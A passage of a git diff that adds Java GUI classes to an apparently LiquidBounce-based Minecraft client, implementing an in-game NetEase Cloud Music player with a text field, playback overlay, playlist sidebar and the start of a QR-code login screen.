offset; + public float newTextWidth; + public float oldTextWidth; + public float charWidth; + public String oldString; + public StringBuilder stringBuilder; + public CustomTextField(String text) { + this.textString = text; + this.selectedChar = this.textString.length(); + } + + public void draw(float x, float y) { + this.x = x; + this.y = y; + + if (this.selectedChar > this.textString.length()) + this.selectedChar = this.textString.length(); + else if (this.selectedChar < 0) + this.selectedChar = 0; + + int selectedChar = this.selectedChar; + //ClientUtils.INSTANCE.displayChatMessage("Draw"); + RenderUtils.drawRoundedRect(this.x, this.y + 3f, this.x + 115f, this.y + 15f, 1, 0xff34373c); + + GL11.glPushMatrix(); + //GL11.glEnable(GL11.GL_SCISSOR_TEST); + RenderUtils.doGlScissor((int) this.x + 1, (int) this.y + 3, 113, 11); + CFontRenderer.DisplayFonts(FontLoaders.C18, this.textString, this.x + 1.5f - this.offset, this.y + 4F, Color.GRAY.getRGB()); + + if (this.isFocused) { + float width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, selectedChar)) + 4; + float posX = this.x + width - this.offset; + RenderUtils.drawRect(posX - 0.5f, this.y + 5.5f, posX, this.y + 12.5f, ColorUtils.reAlpha(Color.GRAY, ticks / 500 % 2 == 0 ? 1f : 0)); + } + //GL11.glDisable(GL11.GL_SCISSOR_TEST); + GL11.glPopMatrix(); + + this.tick(); + } + + public void tick() { + if (isFocused) + ticks++; + else + ticks = 0; + } + + public void mouseClicked(int mouseX, int mouseY, int mouseID) { + boolean hovering = RenderUtils.isHovering(mouseX, mouseY, this.x, this.y + 3f, this.x + 115f, this.y + 15f); + + if (hovering && mouseID == 0 && !this.isFocused) { + this.isFocused = true; + this.selectedChar = this.textString.length(); + } else if (!hovering) { + this.isFocused = false; + this.isTyping = false; + } + + } + + public void keyPressed(int key) { + if (key == Keyboard.KEY_ESCAPE) { + this.isFocused = false; + this.isTyping = false; + } + + if (this.isFocused) { + float width; + float barOffset; + if (GuiScreen.isKeyComboCtrlV(key)) { + this.textString = (GuiScreen.getClipboardString()); + return; + } + switch (key) { + case Keyboard.KEY_RETURN: + this.isFocused = false; + this.isTyping = false; + this.ticks = 0; + break; + case Keyboard.KEY_INSERT: + Clipboard sysClip = Toolkit.getDefaultToolkit().getSystemClipboard(); + Transferable clipTf = sysClip.getContents(null); + if (clipTf != null) { + if (clipTf.isDataFlavorSupported(DataFlavor.stringFlavor)) { + try { + this.textString = (String) clipTf.getTransferData(DataFlavor.stringFlavor); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + } + + this.selectedChar = this.textString.length(); + width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, this.selectedChar)) + + 2; + barOffset = width - this.offset; + if (barOffset > 111F) { + this.offset += barOffset - 111F; + } + + break; + + case Keyboard.KEY_BACK: + try { + if (this.selectedChar <= 0) + break; + if (!this.textString.isEmpty()) { + oldString = this.textString; + stringBuilder = new StringBuilder(oldString); + stringBuilder.charAt(this.selectedChar - 1); + stringBuilder.deleteCharAt(this.selectedChar - 1); + this.textString = ChatAllowedCharacters.filterAllowedCharacters(stringBuilder.toString()); + --this.selectedChar; + if (FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, oldString) + 2 > 111F && this.offset > 0.0F) { + newTextWidth = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString) + 2; + oldTextWidth = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, oldString) + 2; + charWidth = newTextWidth - oldTextWidth; + if (newTextWidth <= 111F && oldTextWidth - 111F > charWidth) + charWidth = 111F - oldTextWidth; + + this.offset += charWidth; + } + + if (this.selectedChar > this.textString.length()) { + this.selectedChar = this.textString.length(); + } + + this.ticks = 0; + } + } catch (Exception ignored) { + } + break; + case Keyboard.KEY_HOME: + this.selectedChar = 0; + this.offset = 0.0F; + this.ticks = 0; + break; + case Keyboard.KEY_LEFT: + if (this.selectedChar > 0) { + --this.selectedChar; + } + + width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, this.selectedChar)) + + 2; + barOffset = width - this.offset; + barOffset -= 2.0F; + + if (barOffset < 0.0F) + this.offset += barOffset; + this.ticks = 0; + break; + case Keyboard.KEY_RIGHT: + if (this.selectedChar < this.textString.length()) { + ++this.selectedChar; + } + + width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, this.selectedChar)) + + 2; + barOffset = width - this.offset; + if (barOffset > 111F) { + this.offset += barOffset - 111F; + } + this.ticks = 0; + break; + case Keyboard.KEY_END: + this.selectedChar = this.textString.length(); + width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, this.selectedChar)) + + 2; + barOffset = width - this.offset; + if (barOffset > 111F) { + this.offset += barOffset - 111F; + } + this.ticks = 0; + } + } + } + + public void charTyped(char c) { + if (this.isFocused && ChatAllowedCharacters.isAllowedCharacter(c)) { + if (!this.isTyping) + this.isTyping = true; + + oldString = this.textString; + stringBuilder = new StringBuilder(oldString); + stringBuilder.insert(this.selectedChar, c); + this.textString = ChatAllowedCharacters.filterAllowedCharacters(stringBuilder.toString()); + if (this.selectedChar > this.textString.length()) { + this.selectedChar = this.textString.length(); + } else if (this.selectedChar == oldString.length() && this.textString.startsWith(oldString)) { + this.selectedChar += this.textString.length() - oldString.length(); + } else { + ++this.selectedChar; + float width = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString.substring(0, this.selectedChar)) + 2; + newTextWidth = width - this.offset; + if (newTextWidth > 111F) + this.offset += newTextWidth - 111F; + } + + newTextWidth = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, this.textString) + 2; + oldTextWidth = FontLoaders.C18.DisplayFontWidths(FontLoaders.C18, oldString) + 2; + if (newTextWidth > 111F) { + if (oldTextWidth < 111F) + oldTextWidth = 111F; + + charWidth = newTextWidth - oldTextWidth; + if (this.selectedChar == this.textString.length()) + this.offset += charWidth; + } + ticks = 0; + } + } +} \ No newline at end of file diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicOverlayRenderer.java b/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicOverlayRenderer.java new file mode 100644 index 0000000..786d40d --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicOverlayRenderer.java @@ -0,0 +1,138 @@ +package cn.hanabi.gui.cloudmusic.ui; + +import cn.hanabi.gui.cloudmusic.MusicManager; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.ui.realpha; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.extensions.RendererExtensionKt; +import net.ccbluex.liquidbounce.utils.timer.MSTimer; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public enum MusicOverlayRenderer { + INSTANCE; + + public String downloadProgress = "0"; + + public long readedSecs = 0; + public long totalSecs = 0; + + public float animation = 0; + + public MSTimer timer = new MSTimer(); + + public boolean firstTime = true; + + + public void renderOverlay() { + int addonX = 10; + int addonY = 60; + ScaledResolution sr = new ScaledResolution(Minecraft.getMinecraft()); + + if (MusicManager.INSTANCE.getCurrentTrack() != null && MusicManager.INSTANCE.getMediaPlayer() != null) { + readedSecs = (int) MusicManager.INSTANCE.getMediaPlayer().getCurrentTime().toSeconds(); + totalSecs = (int) MusicManager.INSTANCE.getMediaPlayer().getStopTime().toSeconds(); + } + + if (MusicManager.INSTANCE.getCurrentTrack() != null && MusicManager.INSTANCE.getMediaPlayer() != null) { + FontLoaders.C18.DisplayFonts(FontLoaders.C18, MusicManager.INSTANCE.getCurrentTrack().name + " - " + MusicManager.INSTANCE.getCurrentTrack().artists, 36f + addonX, 10 + addonY, Color.WHITE.getRGB()); + FontLoaders.C18.DisplayFonts(FontLoaders.C18, formatSeconds((int) readedSecs) + "/" + formatSeconds((int) totalSecs), 36f + addonX, 20f + addonY, 0xffffffff); + + if (MusicManager.INSTANCE.circleLocations.containsKey(MusicManager.INSTANCE.getCurrentTrack().id)) { + GL11.glPushMatrix(); + GL11.glColor4f(1, 1, 1, 1); + ResourceLocation icon = MusicManager.INSTANCE.circleLocations.get(MusicManager.INSTANCE.getCurrentTrack().id); + RenderUtils.drawImage(icon, 4 + addonX, 6 + addonY, 28, 28); + GL11.glPopMatrix(); + } else { + MusicManager.INSTANCE.getCircle(MusicManager.INSTANCE.getCurrentTrack()); + } + + try { + float currentProgress = (float) (MusicManager.INSTANCE.getMediaPlayer().getCurrentTime().toSeconds() / Math.max(1, MusicManager.INSTANCE.getMediaPlayer().getStopTime().toSeconds())) * 100; + RenderUtils.drawArc(18 + addonX, 19 + addonY, 14, Color.WHITE.getRGB(), 0, 360, 4); + RenderUtils.drawArc(18 + addonX, 19 + addonY, 14, Color.BLUE.getRGB(), 180, 180 + (currentProgress * 3.6f), 4); + } catch (Exception ignored) { + } + } + + if (MusicManager.INSTANCE.lyric) { + { + + FontRenderer lyricFont = Minecraft.getMinecraft().fontRendererObj; + int addonYlyr = 50; + //Lyric + int col = MusicManager.INSTANCE.tlrc.isEmpty() ? Color.GRAY.getRGB() : 0xff00af87; + GlStateManager.disableBlend(); + RendererExtensionKt.drawCenteredString(lyricFont, MusicManager.INSTANCE.lrcCur.contains("_EMPTY_") ? "等待中......." : MusicManager.INSTANCE.lrcCur, (sr.getScaledWidth() / 2f - 0.5f), sr.getScaledHeight() - 140 - 80 + addonYlyr, 0xff00af87); + RendererExtensionKt.drawCenteredString(lyricFont, MusicManager.INSTANCE.tlrcCur.contains("_EMPTY_") ? "Waiting......." : MusicManager.INSTANCE.tlrcCur, (sr.getScaledWidth() / 2f), (sr.getScaledHeight() - 125 + 0.5f - 80 + addonYlyr), col); + GlStateManager.enableBlend(); + } + } + + if ((MusicManager.showMsg)) { + if (firstTime) { + timer.reset(); + firstTime = false; + } + + FontRenderer wqy = Minecraft.getMinecraft().fontRendererObj; + FontRenderer sans = Minecraft.getMinecraft().fontRendererObj; + + float width1 = wqy.getStringWidth(MusicManager.INSTANCE.getCurrentTrack().name); + float width2 = sans.getStringWidth("Now playing"); + float allWidth = (Math.max(Math.max(width1, width2), 150)); + + RenderUtils.drawRect(sr.getScaledWidth() - animation, 5, sr.getScaledWidth(), 40, realpha.reAlpha(Color.BLACK.getRGB(), 0.7f)); + + if (MusicManager.INSTANCE.circleLocations.containsKey(MusicManager.INSTANCE.getCurrentTrack().id)) { + GL11.glPushMatrix(); + GL11.glColor4f(1, 1, 1, 1); + ResourceLocation icon = MusicManager.INSTANCE.circleLocations.get(MusicManager.INSTANCE.getCurrentTrack().id); + RenderUtils.drawImage2(icon, sr.getScaledWidth() - animation + 5, 8, 28, 28); + GL11.glPopMatrix(); + } else { + MusicManager.INSTANCE.getCircle(MusicManager.INSTANCE.getCurrentTrack()); + } + + RenderUtils.drawArc(sr.getScaledWidth() - animation - 31 + 50, 22, 14, Color.WHITE.getRGB(), 0, 360, 2); + + sans.drawString("Now playing", (int) (sr.getScaledWidth() - animation - 12 + 50), 8, Color.WHITE.getRGB()); + wqy.drawString(MusicManager.INSTANCE.getCurrentTrack().name, (int) (sr.getScaledWidth() - animation - 12 + 50), 26, Color.WHITE.getRGB()); + + if (timer.hasTimePassed(5000)) { + this.animation = (float) RenderUtils.getAnimationStateSmooth(0, animation, 10.0f / Minecraft.getDebugFPS()); + if (this.animation <= 0) { + MusicManager.showMsg = false; + firstTime = true; + } + } else { + this.animation = (float) RenderUtils.getAnimationStateSmooth(allWidth, animation, 10.0f / Minecraft.getDebugFPS()); + } + + } + + GlStateManager.resetColor(); + } + + public String formatSeconds(int seconds) { + String rstl = ""; + int mins = seconds / 60; + if (mins < 10) { + rstl += "0"; + } + rstl += mins + ":"; + seconds %= 60; + if (seconds < 10) { + rstl += "0"; + } + rstl += seconds; + return rstl; + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicPlayerUI.java b/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicPlayerUI.java new file mode 100644 index 0000000..aeed43b --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/ui/MusicPlayerUI.java @@ -0,0 +1,370 @@ +package cn.hanabi.gui.cloudmusic.ui; + +import cn.hanabi.gui.cloudmusic.MusicManager; +import cn.hanabi.gui.cloudmusic.api.CloudMusicAPI; +import cn.hanabi.gui.cloudmusic.impl.Track; +import javafx.embed.swing.JFXPanel; +import javafx.scene.media.MediaPlayer.Status; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.util.MathHelper; +import org.lwjgl.input.Keyboard; +import org.lwjgl.input.Mouse; +import org.lwjgl.opengl.GL11; + +import javax.swing.*; +import java.awt.*; +import java.io.IOException; +import java.util.ArrayList; +import java.util.concurrent.CopyOnWriteArrayList; + +public class MusicPlayerUI extends GuiScreen { + public float x = 10; + public float y = 10; + public float x2 = 0; + public float y2 = 0; + + public boolean drag = false; + // public MouseHandler handler = new MouseHandler(0); + public CopyOnWriteArrayList<TrackSlot> slots = new CopyOnWriteArrayList<>(); + + public float width = 150; + public float height = 250; + + public boolean extended = false; + public float sidebarAnimation = 0; + + // 滚动 + public float scrollY = 0; + public float scrollAni = 0; + public float minY = -100; + + public CustomTextField textField = new CustomTextField(""); + + @Override + public void initGui() { + SwingUtilities.invokeLater(JFXPanel::new); + Keyboard.enableRepeatEvents(true); + super.initGui(); + } + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + + //侧边栏 + sidebarAnimation = RenderUtils.smoothAnimation(sidebarAnimation, extended ? width + 5 : 0.1f, 50, 0.4f); + + if (Math.ceil(sidebarAnimation) > 1) { + float newX = x + sidebarAnimation; + float newWidth = x + width + sidebarAnimation; + RenderUtils.drawRoundedRect(newX, y, newWidth, y + height, 2, 0xff2f3136); + + //歌单导入输入框 + + textField.draw(newX + 6, y + 2); + RenderUtils.drawRoundedRect(newWidth - 26, y + 5, newWidth - 7, y + 17, 2, RenderUtils.isHovering(mouseX, mouseY, newWidth - 26, y + 5, newWidth - 7, y + 17) || MusicManager.INSTANCE.analyzeThread != null ? new Color(80, 80, 80).getRGB() : 0xff34373c); + Minecraft.getMinecraft().fontRendererObj.drawString("导入", (int) (newWidth - 23f), (int) (y + 6f), Color.GRAY.getRGB()); + + if (textField.textString.isEmpty()) { + Minecraft.getMinecraft().fontRendererObj.drawString("输入歌单ID", (int) (newX + 8), (int) (y + 6f), Color.GRAY.getRGB()); + } + + if (RenderUtils.isHovering(mouseX, mouseY, newX + 5, y + 20, newWidth - 5, y + height - 4)) { + int wheel = Mouse.getDWheel() / 2; + + scrollY += wheel; + if (scrollY <= minY) + scrollY = minY; + if (scrollY >= 0f) + scrollY = 0f; + + minY = height - 24; + } else { + Mouse.getDWheel(); //用于刷新滚轮数据 + } + + this.scrollAni = (float) RenderUtils.getAnimationState(this.scrollAni, scrollY, Math.max(10, (Math.abs(this.scrollAni - (scrollY))) * 50) * 0.3f); + float startY = y + 21 + this.scrollAni; + float yShouldbe = 0; + GL11.glEnable(GL11.GL_SCISSOR_TEST); + RenderUtils.doGlScissor((int) (newX + 6), (int) (y + 21), 137, 224); + //RenderUtils.drawRect(newX + 6, y + 21, newX + 143, y + 245, Colors.GREEN.c); + + for (TrackSlot s : slots) { + if (startY > y && startY < y + height - 4) { + s.render(newX + 6, startY, mouseX, mouseY); + } + startY += 22; + yShouldbe += 22; + } + + GL11.glDisable(GL11.GL_SCISSOR_TEST); + + if (RenderUtils.isHovering(mouseX, mouseY, newX + 5, y + 20, newWidth - 5, y + height - 4)) { + minY -= yShouldbe; + } + + //遮板 + //RenderUtils.drawOutlinedRect(newX + 4, y + 18, newWidth - 5f, y + height - 2, 2f, 0xff2f3136); + + if (this.slots.size() > 10) { + float viewable = 224f; + + float progress = MathHelper.clamp_float(-this.scrollAni / -this.minY, 0, 1); + + float ratio = (viewable / yShouldbe) * viewable; + float barHeight = Math.max(ratio, 20f); + + float position = progress * (viewable - barHeight); + + RenderUtils.drawRect(newWidth - 5, y + 21, newWidth - 2, y + 245f, new Color(100, 100, 100).getRGB()); + RenderUtils.drawRect(newWidth - 5, y + 21 + position, newWidth - 2, y + 21 + position + barHeight, new Color(73, 73, 73).getRGB()); + } + + } else { + Mouse.getDWheel(); //用于刷新滚轮数据 + } + + //主框架 + RenderUtils.drawRoundedRect(x, y, x + width, y + height, 2, 0xff2f3136); + RenderUtils.drawRoundedRect(x, y + height - 60, x + width, y + height, 2, 0xff34373c); + RenderUtils.drawRect(x, y + height - 60, x + width, y + height - 58, 0xff34373c); + + Minecraft.getMinecraft().fontRendererObj.drawString("网易云音乐", (int) (x + (width / 2) - (Minecraft.getMinecraft().fontRendererObj.getStringWidth("网易云音乐") / 2f) - 2), (int) (y + 5), -1); + + float progress = 0; + if (MusicManager.INSTANCE.getMediaPlayer() != null) { + progress = (float) MusicManager.INSTANCE.getMediaPlayer().getCurrentTime().toSeconds() / (float) MusicManager.INSTANCE.getMediaPlayer().getStopTime().toSeconds() * 100; + } + + //进度条 + RenderUtils.drawRoundedRect(x + 10, y + height - 50, x + width - 10, y + height - 46, 1.4f, Color.GRAY.getRGB()); + + if (MusicManager.INSTANCE.loadingThread != null) { + RenderUtils.drawRoundedRect(x + 10, y + height - 50, x + 10 + (1.3f * MusicManager.INSTANCE.downloadProgress), y + height - 46, 1.4f, Color.WHITE.getRGB()); + RenderUtils.circle(x + 10 + (1.3f * MusicManager.INSTANCE.downloadProgress), y + height - 48, 3, new Color(255, 255, 255).getRGB()); + RenderUtils.circle(x + 10 + (1.3f * MusicManager.INSTANCE.downloadProgress), y + height - 48, 2, new Color(255, 50, 50, 255).getRGB()); + } else { + RenderUtils.drawRoundedRect(x + 10, y + height - 50, x + 10 + (1.3f * progress), y + height - 46, 1.4f, Color.WHITE.getRGB()); + RenderUtils.circle(x + 10 + (1.3f * progress), y + height - 48, 3, new Color(255, 255, 255).getRGB()); + RenderUtils.circle(x + 10 + (1.3f * progress), y + height - 48, 2, new Color(50, 176, 255, 255).getRGB()); + } + + //按钮 + RenderUtils.circle(x + (width / 2), y + height - 24, 12, 0xff40444b); //播放和暂停 + + if (extended) { + Minecraft.getMinecraft().fontRendererObj.drawString(" · ", (int) (x + width - 15), (int) (y + 5.5f), Color.WHITE.getRGB()); + } else { + Minecraft.getMinecraft().fontRendererObj.drawString("···", (int) (x + width - 15), (int) (y + 5.5f), Color.WHITE.getRGB()); + } + + Minecraft.getMinecraft().fontRendererObj.drawString("QR", (int) (x + 5), (int) (y + 5.5f), Color.WHITE.getRGB()); + + String songName = MusicManager.INSTANCE.currentTrack == null ? "当前未在播放" : MusicManager.INSTANCE.currentTrack.name; + String songArtist = MusicManager.INSTANCE.currentTrack == null ? "N/A" : MusicManager.INSTANCE.currentTrack.artists; + + GL11.glEnable(GL11.GL_SCISSOR_TEST); + RenderUtils.doGlScissor((int) x, (int) y + (int) (height / 2 - 95), (int) width, 25); + Minecraft.getMinecraft().fontRendererObj.drawString(songName, (int) (x + (width / 2) - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth(songName) / 2) - 1.5f), (int) (y + (height / 2 - 95)), -1); + Minecraft.getMinecraft().fontRendererObj.drawString(songArtist, (int) (x + (width / 2) - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth(songArtist) / 2) - 1.5f), (int) (y + (height / 2 - 82)), -1); + GL11.glDisable(GL11.GL_SCISSOR_TEST); + + if (MusicManager.INSTANCE.getMediaPlayer() != null) { + + if (MusicManager.INSTANCE.getMediaPlayer().getStatus() == Status.PLAYING) { + Minecraft.getMinecraft().fontRendererObj.drawString("| |", (int) (x + (width / 2) - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth("K") / 2)), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + } else { + Minecraft.getMinecraft().fontRendererObj.drawString("|>", (int) (x + (width / 2) - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth("J") / 2)), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + } + + } else { + Minecraft.getMinecraft().fontRendererObj.drawString("|>", (int) (x + (width / 2) - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth("J") / 2)), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + } + + Minecraft.getMinecraft().fontRendererObj.drawString("←", (int) (x + width / 2 - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth("L") / 2) - 30), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + Minecraft.getMinecraft().fontRendererObj.drawString("→", (int) (x + width / 2 - ((float) Minecraft.getMinecraft().fontRendererObj.getStringWidth("M") / 2) + 27.5f), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + + if (MusicManager.INSTANCE.repeat) { + Minecraft.getMinecraft().fontRendererObj.drawString("∞", (int) (x + width - 20), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + } else { + Minecraft.getMinecraft().fontRendererObj.drawString("-", (int) (x + width - 20), (int) (y + height - 25.5f), Color.WHITE.getRGB()); + } + + if (MusicManager.INSTANCE.lyric) { + Minecraft.getMinecraft().fontRendererObj.drawString("词", (int) (x + 19), (int) (y + height - 25.5f), 0xffffffff); + } else { + Minecraft.getMinecraft().fontRendererObj.drawString("词", (int) (x + 19), (int) (y + height - 25.5f), 0xff6b6e71); + } + + if (MusicManager.INSTANCE.currentTrack != null) { + if (MusicManager.INSTANCE.getArt(MusicManager.INSTANCE.currentTrack.id) != null) { + GL11.glPushMatrix(); + RenderUtils.drawImage2(MusicManager.INSTANCE.getArt(MusicManager.INSTANCE.currentTrack.id), x + (width / 2) - 50, y + (height / 2 - 10) - 50, 100, 100 ); + GL11.glPopMatrix(); + } + } + + //RenderUtils.drawOutlinedRect(x + (width / 2) - 50, y + (height / 2 - 10) - 50, x + (width / 2) + 50, y + (height / 2 - 10) + 50, .5f, Color.WHITE.getRGB()); + + //Debug + //RenderUtils.drawOutlinedRect(x, y, x + width, y + 20, .5f, Color.RED.getRGB()); //标题框 + //RenderUtils.drawOutlinedRect(x + width - 15, y + 5, x + width - 5, y + 15, .5f, Color.RED.getRGB()); //展开侧栏 + //RenderUtils.drawOutlinedRect(x + 5, y + 5, x + 15, y + 15, .5f, Color.RED.getRGB()); //二维码登录 + //RenderUtils.drawOutlinedRect(x + width - 20, y + height - 29, x + width - 10, y + height - 19, .5f, Color.RED.getRGB()); //单曲循环 + //RenderUtils.drawOutlinedRect(x + 10, y + height - 29, x + 20, y + height - 19, .5f, Color.RED.getRGB()); //歌词按钮 + //RenderUtils.drawOutlinedRect(x + (width / 2) - 12, y + height - 36, x + (width / 2) + 12, y + height - 12, .5f, Color.RED.getRGB()); //播放和暂停 + //RenderUtils.drawOutlinedRect(x + 39, y + height - 32, x + 55, y + height - 16, .5f, Color.RED.getRGB()); //上一曲 + //RenderUtils.drawOutlinedRect(x + 96, y + height - 32, x + 112, y + height - 16, .5f, Color.RED.getRGB()); //下一曲 + + this.dragWindow(mouseX, mouseY); + super.drawScreen(mouseX, mouseY, partialTicks); + } + + @Override + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + + if (RenderUtils.isHovering(mouseX, mouseY, x + width - 15, y + 5, x + width - 5, y + 15) && mouseButton == 0) { + extended = !extended; + } + + if (mouseButton == 0) { + //播放/暂停 + if (RenderUtils.isHovering(mouseX, mouseY, x + (width / 2) - 12, y + height - 36, x + (width / 2) + 12, y + height - 12)) { + if (!MusicManager.INSTANCE.playlist.isEmpty()) { + if (MusicManager.INSTANCE.currentTrack == null) { + try { + MusicManager.INSTANCE.play(MusicManager.INSTANCE.playlist.get(0)); + } catch (Exception e) { + e.printStackTrace(); + } + } else { + if (MusicManager.INSTANCE.getMediaPlayer() != null) { + if (MusicManager.INSTANCE.getMediaPlayer().getStatus() == Status.PLAYING) { + MusicManager.INSTANCE.getMediaPlayer().pause(); + } else { + MusicManager.INSTANCE.getMediaPlayer().play(); + } + } + } + } + } + + //上一曲 + if (RenderUtils.isHovering(mouseX, mouseY, x + 39, y + height - 32, x + 55, y + height - 16)) { + MusicManager.INSTANCE.prev(); + } + + //下一曲 + if (RenderUtils.isHovering(mouseX, mouseY, x + 96, y + height - 32, x + 112, y + height - 16)) { + MusicManager.INSTANCE.next(); + } + + //歌词按钮 + if (RenderUtils.isHovering(mouseX, mouseY, x + 10, y + height - 29, x + 20, y + height - 19)) { + MusicManager.INSTANCE.lyric = !MusicManager.INSTANCE.lyric; + } + + //单曲循环 + if (RenderUtils.isHovering(mouseX, mouseY, x + width - 20, y + height - 29, x + width - 10, y + height - 19)) { + MusicManager.INSTANCE.repeat = !MusicManager.INSTANCE.repeat; + } + + //QRCode + if (RenderUtils.isHovering(mouseX, mouseY, x + 5, y + 5, x + 15, y + 15)) { + mc.displayGuiScreen(new QRLoginScreen(this)); + } + } + + if (extended && Math.ceil(sidebarAnimation) >= width + 5) { + float newX = x + sidebarAnimation; + float newWidth = x + width + sidebarAnimation; + + if (mouseButton == 0) { + if (RenderUtils.isHovering(mouseX, mouseY, newWidth - 26, y + 5, newWidth - 7, y + 17) && !this.textField.textString.isEmpty() && MusicManager.INSTANCE.analyzeThread == null) { + MusicManager.INSTANCE.analyzeThread = new Thread(() -> { + try { + this.slots.clear(); + + MusicManager.INSTANCE.playlist = (ArrayList<Track>) CloudMusicAPI.INSTANCE.getPlaylistDetail(this.textField.textString)[1]; + + for (Track t : MusicManager.INSTANCE.playlist) { + this.slots.add(new TrackSlot(t)); + } + + } catch (Exception ex) { + ClientUtils.INSTANCE.displayChatMessage("解析歌单时发生错误!"); + ex.printStackTrace(); + } + + MusicManager.INSTANCE.analyzeThread = null; + }); + + MusicManager.INSTANCE.analyzeThread.start(); + } + } + + //歌曲列表 + if (RenderUtils.isHovering(mouseX, mouseY, newX + 5, y + 20, newWidth - 5, y + height - 4)) { + float startY = y + 21 + this.scrollAni; + for (TrackSlot s : slots) { + if (startY > y && startY < y + height - 4) { + s.click(mouseX, mouseY, mouseButton); + } + startY += 22; + } + } + + this.textField.mouseClicked(mouseX, mouseY, mouseButton); + } + + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + + @Override + protected void keyTyped(char typedChar, int keyCode) throws IOException { + + if (extended) { + this.textField.keyPressed(keyCode); + this.textField.charTyped(typedChar); + } + + super.keyTyped(typedChar, keyCode); + } + + public void dragWindow(int mouseX, int mouseY) { + if (RenderUtils.isHovering(mouseX, mouseY, x + width - 15, y + 5, x + width - 5, y + 15)) return; + + if (!Mouse.isButtonDown(0) && this.drag) { + this.drag = false; + } + + if (this.drag) { + this.x = mouseX - this.x2; + this.y = mouseY - this.y2; + } else if (RenderUtils.isHovering(mouseX, mouseY, x, y, x + width, y + 20) && Mouse.isButtonDown(0)) { + this.drag = true; + this.x2 = mouseX - this.x; + this.y2 = mouseY - this.y; + } + } + + @Override + public void updateScreen() { + super.updateScreen(); + } + + @Override + public void onGuiClosed() { + Keyboard.enableRepeatEvents(false); + super.onGuiClosed(); + } + + @Override + public boolean doesGuiPauseGame() { + return false; + } +} \ No newline at end of file diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/ui/QRLoginScreen.java b/src/main/java/cn/hanabi/gui/cloudmusic/ui/QRLoginScreen.java new file mode 100644 index 0000000..1d06a41 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/ui/QRLoginScreen.java @@ -0,0 +1,215 @@ +package cn.hanabi.gui.cloudmusic.ui; + +import cn.hanabi.gui.cloudmusic.api.CloudMusicAPI; +import com.google.zxing.BarcodeFormat; +import com.google.zxing.EncodeHintType; +import com.google.zxing.WriterException; +import com.google.zxing.common.BitMatrix; +import com.google.zxing.qrcode.QRCodeWriter; +import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.IImageBuffer; +import net.minecraft.client.renderer.ImageBufferDownload; +import net.minecraft.client.renderer.ThreadDownloadImageData; +import net.minecraft.util.ResourceLocation; +import org.apache.commons.io.FileUtils; +import org.apache.http.client.CookieStore; +import org.apache.http.cookie.Cookie; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.IOException; +import java.util.Hashtable; + +public class QRLoginScreen extends GuiScreen { + + public Thread loginProcessThread; + public String state = "正在等待用户操作..."; + + public ScaledResolution res; + + public GuiScreen lastScreen; + + public QRLoginScreen(GuiScreen prevScreen) { + this.lastScreen = prevScreen; + } + + @Override + public void initGui() { + res = new ScaledResolution(mc); + + this.buttonList.add(new GuiButton(0, res.getScaledWidth() / 2 - 60, 210, 120, 20, "开始")); + this.buttonList.add(new GuiButton(1, res.getScaledWidth() / 2 - 60, 240, 120, 20, "退出")); + + super.initGui(); + } + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + this.drawDefaultBackground(); + + String text = "使用二维码登录至网易云音乐"; + Minecraft.getMinecraft().fontRendererObj.drawString(text, res.getScaledWidth() / 2 - (Minecraft.getMinecraft().fontRendererObj.getStringWidth(text) / 2), 30, 0xFFFFFFFF); + Minecraft.getMinecraft().fontRendererObj.drawString(state, res.getScaledWidth() / 2 - (Minecraft.getMinecraft().fontRendererObj.getStringWidth(state.replaceAll("\247.", "")) / 2), 50, 0xFFFFFFFF); + + if 